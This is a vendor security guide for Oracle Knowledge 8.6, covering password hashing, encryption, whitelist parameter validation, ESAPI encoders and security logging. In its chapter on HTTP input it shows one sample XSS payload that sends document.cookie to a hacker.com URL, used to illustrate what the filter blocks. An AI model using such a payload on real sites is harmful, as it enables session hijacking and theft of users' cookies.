Oracle Knowledge Security Guide

Release 8.6

Document Number OKPF-WASC86-00

March 2015

COPYRIGHT INFORMATION

Contents

PREFACE

About This Guide

This guide describes features of the Oracle Knowledge Web Application Security Framework. The security framework is designed to improve the overall security capabilities of Oracle Knowledge and its components, including:

- Information Manager
- InfoCenter
- iConnect, including iConnect for Siebel Contact Center and iConnect for Oracle CRM OnDemand
- Self-Service Portal (SSP)
- Analytics
- AnswerFlow

It discusses a variety of techniques, standards, and practices to secure the Oracle Knowledge application from online attack patterns, including (but not limited to):

- cross-site scripting (XSS)
- injection
- cross-frame scripting (XFS)
- session hijacking
- spyware

Oracle Knowledge uses a combination of best practices, existing frameworks, and ongoing monitoring processes to reduce the risk of security violations.

The preface contains the following sections:

In This Guide

The Oracle Knowledge Web Application Security Guide is divided into the following sections:

Securing Oracle Knowledge and Supported Components	This section describes the various components such as databases, application servers, and analytics data transformation and reporting products that work with Oracle Knowledge and their security features.

Securing Oracle Knowledge Web Applications	This section describes the Oracle Knowledge web application security features.
Securing Oracle Knowledge Passwords	This section describes the Oracle Knowledge password security features.
Securing HTTP Requests, URLs, and User Input	This section describes the HTTP requests, URLs, and user input security features.

Examples of Product Screens and Text

The product screens, screen text, and file contents depicted in the documentation are examples. We attempt to convey the product's appearance and functionality as accurately as possible; however, the actual product contents and displays may differ from the published examples.

Operating System Variations in Examples and Procedures

We generally use Linux screen displays and naming conventions in our examples and procedures. We include other operating system-specific procedures or steps as noted in section headings, or within topics, as appropriate.

We present command syntax, program output, and screen displays:

- in Linux format first
- in other Unix-specific variants only when necessary for proper operation or to clarify functional differences
- in Windows format only when necessary for clarity

References to Web Content

For your convenience, this guide refers to Uniform Resource Locators (URLs) for resources published on the World Wide Web, when appropriate. We attempt to provide accurate information; however, these resources are controlled by their respective owners and are therefore subject to change at any time.

CHAPTER 1

Securing Oracle Knowledge and Supported Components

You can install and operate Oracle Knowledge on a variety of platforms, such as Windows- and Linux-based operating systems. In addition, an Oracle Knowledge application incorporates additional products and components, such as databases (Oracle Database and Microsoft® SQL Server™), application servers (WebLogic Server, IBM® WebSphere Application Server™, and Apache Tomcat), and analytics data transformation and reporting products (Oracle Business Intelligence and Oracle Data Integrator).

The sections below provide initial guidance and resources for securing these platforms and components; you can find more detailed and up-to-date information and guidelines in the product documentation for the specific release of each platform and component that you use in your implementation.

Oracle Platform Security Service

The Oracle Platform Security Services (OPSS) is the underlying security platform that provides security to Oracle Fusion Middleware including WebLogic Server, SOA, WebCenter, ADF, and OES. OPSS is portable to third-party application servers, such as WebSphere and Apache Tomcat. For detailed information about OPSS, see the OPSS Security guide and Oracle website.

Application Servers

Oracle Knowledge supports the following application servers in addition to WebLogic Server for some or all components:

- IBM WebSphere Application Server (WebSphere)
- Apache Tomcat (Tomcat)

WebSphere

Oracle Knowledge supports IBM WebSphere as a web application server for some components; therefore, operating Websphere in a secure manner is critical to the overall security of the Oracle Knowledge environment.

For detailed information about Oracle Knowledge support for WebSphere, see the Oracle Knowledge *Supported Environments Matrix*, available in the *Installation and Release* section of the *Oracle Knowledge Documentation* library.

For detailed information about WebSphere security, see the WebSphere Security documentation for the WebSphere release operating in your environment.

Apache Tomcat

Oracle Knowledge supports Apache Tomcat as a web application server for some components; therefore, operating Tomcat in a secure manner is critical to the overall security of the Oracle Knowledge environment.

For detailed information about Oracle Knowledge support for Tomcat, see the Oracle Knowledge *Supported Environments Matrix*, available in the *Installation and Release* section of the *Oracle Knowledge Documentation* library.

For detailed information about Tomcat security, see the see the *Tomcat Security Considerations* guide for the Tomcat release operating in your environment.

Oracle Business Intelligence Enterprise Edition

Oracle Business Intelligence Enterprise Edition (OBIEE) provides the basis for Oracle Knowledge Analytics reporting. You must secure OBIEE to ensure that Oracle Knowledge displays the appropriate data to the required user/group/role. For more information about the OBIEE core security architecture, see the *Fusion Middleware Security Guide for Oracle Business Intelligence Enterprise Edition* for the OBIEE release operating in your environment.

Oracle Data Integrator

Oracle Knowledge Analytics uses Oracle Data Integrator (ODI) to transform data staged application event data into report data.

The Oracle Database Integrator (ODI) standalone agent is a standalone Java process that runs in a non-JEE environment. You can use the agent to execute ODI scenarios on pre-defined schedules or on demand. You must configure the agent in a secure manner.

You must deploy the standalone agent locally on the source or target machines for optimal integration flow performances. Best practice dictates that you secure the local or target machine, then execute the ODI standalone agent using a known user account.

Databases

Oracle Knowledge uses any of the following databases:

- Oracle
- Microsoft SQL Server

Oracle Database

For more information about Oracle database security, see the Oracle Database Security Guide for the Oracle Database release operating in your environment.

Microsoft SQL Server Database

For more information about Microsoft SQL Server security, see the Microsoft SQL Server Security documentation for the SQL Server release operating in your environment.

Securing Oracle Knowledge Web Applications

You can control the operation of the Oracle Knowledge Web Application Security Framework by customizing the deployed web application configuration files. The configuration files are located in the `WEB-INF/classes` directory of each deployed web application. Each deployed web application is represented by the `<webapp_context>` in the hierarchy.

Note: When you update any of these files, you must copy the modified configuration file to each deployed web application instance.

Configuration File Locations

The `validation.properties`, `inquira_whitelist.properties`, and `inquira_esapi.properties` configuration files are located at:

```
<IM_HOME>\instances\<instance_name>\appserverim\webapps\<webapp_context>\WEB-INF\classes\resources\
```

See “WhiteList Parameter Validation” on page 12, “Customizing the ESAPI Encoder (inquira_esapi.properties)” on page 15, and “Customizing OWASP ESAPI (ESAPI.properties)” on page 16 for more information on customizing these files.

The `securityhandlermap.properties` configuration file is located at:

```
<IM_HOME>\instances\<instance_name>\appserverim\webapps\<webapp_context>\WEB-INF\classes\
```

See “Customizing Error Handling Behavior (securityhandlermap.properties)” on page 16 for more information on customizing this file.

CHAPTER 3

Securing Oracle Knowledge Passwords

The Oracle Knowledge Web Application Security Framework implementation relies on the following dependent JAR (Java Archive) files to protect Oracle Knowledge passwords:

- `infra_encryption.jar`
- `oracleoki.jar`
- `osdt_core.jar`
- `osdt_cert.jar`

The Oracle Knowledge Web Application Security Framework secures a password in the following way:

- Oracle Knowledge stores a password in an industry-standard cryptographic hash.
- The security framework ensures that each hash is unique.
- The security algorithm generates a random 8-byte salt and hashes it together with a plain-text password using the SHA-256 cryptographic hash function.
- The security system re-hashes the password hundred times.

Note: Oracle does not expose or provide a method to decrypt user's passwords.

The security service implementation depends on the Java Keystore and the Oracle Wallet. The Java Keystore is password-protected and securely stores a generated encryption key. The Keystore stores the encryption key using an alias name and password. The Oracle Wallet Secret Store modifies and stores the Keystore parameters. You can have only one encryption key to use across all the Oracle Knowledge products.

Oracle Knowledge Encryption Details

Oracle knowledge uses the following configurations in its security implementation for all Java-based resources:

- Symmetric Block Cipher Algorithm: AES
- Cipher Transformation: AES/CBC/PKCS5Padding
- Initialization Vector Length: 16 bits
- #Bit Encryption Key: 128
- Java Security Provider: SunJCE

Secure Storage Encryption Process

The following steps explain how the Oracle Knowledge installation creates and securely stores the encryption key:

- The user must provide a password to protect the encryption key.
- The user must provide the alias of the encryption key.
- The Java Keystore stores the encryption key using an alias name and a password.

  The Keystore stores encryption keys in a map of aliases to keys, but only one key is used.
- The user must provide a password to protect the Java Keystore.
- The installation creates the Keystore file on the file system.

  The Oracle Wallet stores the Keystore files password along with the encryption key's password and alias. The Oracle Knowledge installation creates the Oracle Wallet on the file system using these JAR files `oraclepki.jar, osdt_cert.jar,` and `osdt_core.jar`.

The following steps explain how encrypt and decrypt work with the Java Keystore and Oracle Wallet:

1. The Oracle Knowledge Web Application Security Framework searches for the password to the Keystore in the Oracle Wallet when you make a request to encrypt and decrypt a string.
2. The security framework searches for the encryption key’s alias and password from the Oracle Wallet to retrieve the encryption key from the Keystore.
3. The security framework uses the encryption key to encrypt and decrypt the request string.

CHAPTER 4

Securing HTTP Requests, URLs, and User Input

Oracle Knowledge provides the data validation functionality for validating HTTP requests, URLs, and user input. It relies on WhiteList parameter validation and URL encryption techniques to filter out invalid values. WhiteList parameter validation ensures that when you access a URL, the parameter values in the URL conform to a specified regular expression.

The Oracle Knowledge Web Application Security framework integrates the Open Web Application Security Project (OWASP) Enterprise Security API (ESAPI) framework. The OWASP ESAPI is an industry-tested security framework that applies standardized best practices for encoding and escaping untrusted data before it is processed as input by the application.

The security framework is designed specifically to protect against Cross-site Scripting (XSS) attacks by using an updated XSS servlet filter. The XSS filter provides WhiteList parameter validation to ensure that each HTTP request parameter is valid and safe to use. See “WhiteList Parameter Validation” on page 12.

WhiteList Parameter Validation

The Cross-site Scripting (XSS) servlet filter ensures that each HTTP request parameter is valid and safe. The XSS filter provides WhiteList parameter validation to check the user-provided data against a set of rules. The XSS filter rejects the data that does not match with the defined set of rules. In addition, the XSS filter provides a security logging mechanism, as described in “Security Error Logging” on page 17.

The WhiteList parameter validation rules consist of regex patterns that define allowable characters and strings for a HTTP request parameter. These defined rules prevent attackers from entering scripts into fields that might result in XSS attacks. The validation includes the following parameters:

- The regex pattern specified to validate the data.
- The maximum allowed length of the parameter.
- Whether the parameter can be null.

You can customize the parameter validation rules in the `validation.properties` properties file. The property file is located at `WEB-INF/classes/resources` folder of a deployed web application.

For example, a user may attempt to modify an InfoCenter URL parameter in the browser to:

```
http://myhost:8226/InfoCenter/index?page='><script>document.location='http://
www.hacker.com/cgi-bin/stealinginfo.cgi?' %20+document.cookie</script>
```

The Oracle Knowledge XSS servlet filter validates the data being passed in the page parameter against the REGEX expression to see if it matches. It detects the XSS attack, raises a JSP exception, displays an error message, and logs a detailed error message to a security audit file.

The Web Application Security framework provides a method to test a request parameter using the ESAPI WhiteList validation mechanism.

The method tests the request parameter using the following steps:

1. Compares the request parameter to a WhiteList regex pattern stored in the ESAPI `validation.properties` properties file.
2. If the parameter passes the WhiteList validation, the data is decoded so it does not include any escaped/encoded characters.
3. If the parameter fails WhiteList verification, the test raises a JSP exception; the browser displays an error message, and logs a detailed error message.

URL Encryption

The Oracle Knowledge Web Application Security Framework provides encryption for plain text in URLs to prevent phishing and cross-site scripting attacks. In addition, the security framework prevents the attackers from providing invalid URL requests within input fields, error URLs, and URLs within the search results.

To pass additional information to the underlying URL, you must decrypt the URL, add a parameter, and then re-encrypt the URL before you load the subsequent page.

The encryption and decryption code must be from `com.inquira.foundation.utilities.CVEncryption (imfoundation.jar)`

- `public static String encryptUrl(String str)`
- `public static String decryptUrl(String str)`

Customizing the Regular Expression Patterns (validation.properties)

The Oracle Knowledge Web Application Security framework uses regular expressions (regex) to compare incoming data against a list of allowable characters. These regex patterns are assigned to each parameter in the `inquira_whitelist.properties` file. You can share a regex pattern across many request parameters. If you change a regex pattern, it affects all request parameters that use the same regex pattern.

The regex patterns are located in the `WEB-INF/classes/resources/validation.properties` file. If you need to add a new regex pattern or modify any existing regex pattern, you must place the pattern in a new file called `validation_custom.properties` located in the same directory as the original `validation.properties` file. These regex patterns will override the original patterns provided by the Oracle Knowledge Web Application Security Framework.

Important! Oracle does not recommended modifying the `validation.properties` properties file located at `WEB-INF/classes/resources` folder of the deployed web app.

The format of the entry in the `validation.properties` file is:

```
Validator.KEY=REGEX
```

where

`KEY` = the name of the regex pattern in the `inquira_whitelist.properties` file (the key must be prefaced with `Validator`.)

`REGEX` = the actual regex pattern to be used to validate the string.

Note: If you modify the `validation.properties` file, you must copy the modified file to all deployed instances to ensure consistent behavior.

Customizing the WhiteList (inquira_whitelist.properties)

The Oracle Knowledge Web Application Security framework secures the HTTP request parameters and stores them in the `WEB-INF/classes/resources/inquira_whitelist.properties` file. Each line of the file contains a separate request parameter in the format specified below:

```
KEY=REGEX;MAXLENGTH;ALLOWSNULL;DESCRIPTION;[VALIDATEORENCODE];[ISINPUT];
[ENABLECHANGED];[ISCANONICALIZE]
```

The following table describes each of the parameters:

Parameter	Description
KEY	A HTTP Request parameter that is being validated.
REGEX	A reference to the REGEX expression stored in the `validation.properties` file.
MAXLENGTH	A numeric value for the maximum size of the field (must include size in bytes for double byte characters, if appropriate).
ALLOWSNULL	A boolean (true|false) indicating whether the parameter can be null.
DESCRIPTION	A description of what data the parameter contains.
VALIDATEORENCODE	A switcher to specify how to handle the validation, valid values are: • validate (do original validate), • encode (encode the input value; if encode fails, return null), • none (do nothing, skip the validation handle). The default value is validate.
ISINPUT	A boolean (true|false) value indicating whether the parameter value is from user input. The default value is false.
ISCANONICALIZE	A boolean (true|false) value indicating whether the application will make the parameter canonical. The default value is true.

Important! Oracle does not recommend modifying the `inquira_whitelist.properties` file that is provided with the default Oracle Knowledge installation.

If you need to add a new parameter or modify any existing HTTP parameter, you must place the parameter in a new custom property file named `inquira_whitelist_custom.properties` file located in the same directory as the original `inquira_whitelist.properties` file. These parameters will override the original parameters provided by the Oracle Knowledge Web Application Security Framework. For example, you will need the custom property file for content contribution that allows rich text entries.

Custom applications that use different request parameters must create an entry in this file for every request parameter. If the parameter is missing from this file, the security framework issues an exception and an error message, similar to the following:

```
129513094 [http-8226-Processor19] WARN InfoCenter:IntrusionDetector  -
[SECURITY FAILURE Anonymous:null@unknown -> /InfoCenter/IntrusionDetector]
Invalid input: context=XMLATTRIBUTE:KB_ARTICLE/KB_SUMMARY,
type(DefaultValidator)=^[\p{ L}\p{ P}\p{ N}\p{ SO}\p{ SC}\s+%26&=&amp%\\\-|]+$,
input=<p>test</p>

org.owasp.esapi.errors.ValidationException:
XMLATTRIBUTE\x3AKB_ARTICLE\x2FKB_SUMMARY: Invalid input. Please conform to
regex ^[\p{ L}\p{ P}\p{ N}\p{ SO}\p{ SC}\s+%26&=&amp%\\\-|]+$ with a maximum
length of 100000000
```

To resolve the issue, create the `WEB-INF/classes/resources/inquira_whitelist_custom.properties` file and add an entry to this file for each required rich text entry field for each content channel. Using the example above, add the following entry:

```
xmlattribute\:KB_ARTICLE/KB_SUMMARY=UnicodeString3;1000;true;content contribution;encode
```

where:

`xmlattribute\:KB_ARTICLE/KB_SUMMARY`	The field name of the rich text editor field that is required (you can locate the field name when viewing the source of the HTML page).
`UnicodeString3`	The REGEX pattern used to validate the string, stored in the `validation.properties` file.
`1000`	The maximum length of the value.
`true`	Indicates whether this value can be null (if the parameter is present).
`content contribution`	Description of what the field is used for.
`encode`	Indicates that the contents of the field will be encoded.

Important! After you restart Oracle Knowledge, you must be able to save content contributions properly for all channels that have rich text editors. If you modify this file, you must copy the modified file to all deployed instances to ensure consistent behavior.

Customizing the ESAPI Encoder (inquira_esapi.properties)

The Oracle Knowledge Web Application Security framework contains an Oracle Knowledge-specific encoder class. The encoder class extends the OWASP ESAPI default encoder to provide the ability to disable various encoder methods without having to remove them from the source code. This can be helpful if you want to turn off a specific type of validation due to performance issues, or for other reasons. By default, the Web Application Security Framework enables all of the ESAPI encoders and uses them where appropriate. The Oracle Knowledge Web Application Security Framework currently uses the `HTMLEncoder()` encoder class, thus you must not disable the encoder.

The properties file is located at `WEB-INF/classes/resources/inquira_esapi.properties`. You must add any custom code to a new file called `inquira_esapi_custom.properties` file located in the same directory as the original `inquira_esapi.properties` file.

Important! We do not recommend modifying the `inquira_esapi.properties` file that is provided with the default Oracle Knowledge installation.

Note: If you modify this file, you must copy the modified file to all deployed instances to ensure consistent behavior.

The following methods are available and enabled in the `inquira_esapi.properties` configuration file:

Note: Setting any property to True disables the provided encoding.

Method	Default Setting
`HTMLAttributeEncoder`	False
`HTMLEncoder`	False
`CSSEncoder`	False
`DNEncoder`	False
`JavaScriptEncoder`	False

Method	Default Setting
LDAPEncoder	False
OSEncoder	False
SQLEncoder	False
URLEncoder	False
XMLEncoder	False
XMLAttributeEncoder	False
XPathEncoder	False

Customizing OWASP ESAPI (ESAPI.properties)

The OWASP ESAPI framework provides configuration options that control the behavior of the ESAPI framework. The `WEB-INF/classes/resources/ESAPI.properties` file contains the default values for the deployed web application. If you modify this file, you must copy the modified file to all deployed instances to ensure consistent behavior.

The `ESAPI.properties` file contains a number of properties that allow you to customize the behavior of ESAPI framework, such as error message logging and intrusion detection thresholds. For complete documentation for this file, see the ESAPI Overview guide located at:

`http://www.owasp.org/index.php/ESAPI_Overview#ESAPI.properties`

Customizing Error Handling Behavior (securityhandlermap.properties)

The Oracle Knowledge Web Application Security Framework provides several options for handling errors caused by security violations. The configuration for the error handling is stored in `WEB-INF\classes\securityhandlermap.properties` file. The default values provided by Oracle Knowledge are:

- system.default=detail
- system.action=detail
- system.page=detail

The format of the entries is:

`<SCOPE> = <ERROR HANDLER>`

The following three types of error handling are possible for security errors:

Error Type	Description
detail	This is default handler type. Returns to the previous page and displays an error dialog.
general	Returns to the default error page in the application - `index?page=error`.
custom	Uses a customized error handling mechanism. Instructions are provided in `/apps/infocenter/system.components/security/errorinfo.jsp`. There must only be one of these custom security handlers per web application. Example sitemap tag: `<IM:sitemap pagename="securityerror" securityhandler="custom"/>`.

In addition to the specific types of error handling, the Oracle Knowledge Web Application Security Framework allows you to control the scope of error handling. The valid scopes for error handling are:

system.default	If nothing is configured for specific types of scopes this value is used for all requests.
system.action	The type of error handler that will be used for FORM actions.
system.page	The type of error handler that will be used for standard JSP page requests.
system.<pagename>	The type of error handler that will be used for the specified pagename (IM:sitemap pagename value).
action.<actionname>	The type of error handler that will be used for the specified FORM action. This is the value that is used in the hidden FORM field.

Note: If you modify this file, you must copy the modified file to all deployed instances to ensure consistent behavior.

Security Error Logging

The Oracle Knowledge Web Application Security framework maintains an error log file dedicated to security. The web security logs an error message to the security error log file whenever parameter validation fails in InfoCenter, iConnect, iConnect for Siebel, iConnect for CRMOD, or SSP. The error message contains the following information:

- The name of the web application (InfoCenter, iConnect, iConnect for Siebel, iConnect for CRMOD, or SSP).
- The name of the parameter.
- The value entered by the user.
- The reason for the failure (null value not allowed, parameter length exceeds the maximum length, or does not pass the regex pattern). If the failure is due to the regex pattern, the regex pattern used for the validation is logged.
- The user ID. If the user ID is not available, then the log records "unregistered user".

The web security writes log file to the location specified in the `WEB-INF/classes/resources/ESAPI.properties` `Logger.LogFileName` property. The value would be a full directory path for the location of the security log file. Each deployed instance of a web application must create a unique log file to avoid overwriting log entries. The default error log file location is:

```
<IM_HOME>\logs\<Repository_REF>\InfoCenter\Security\
```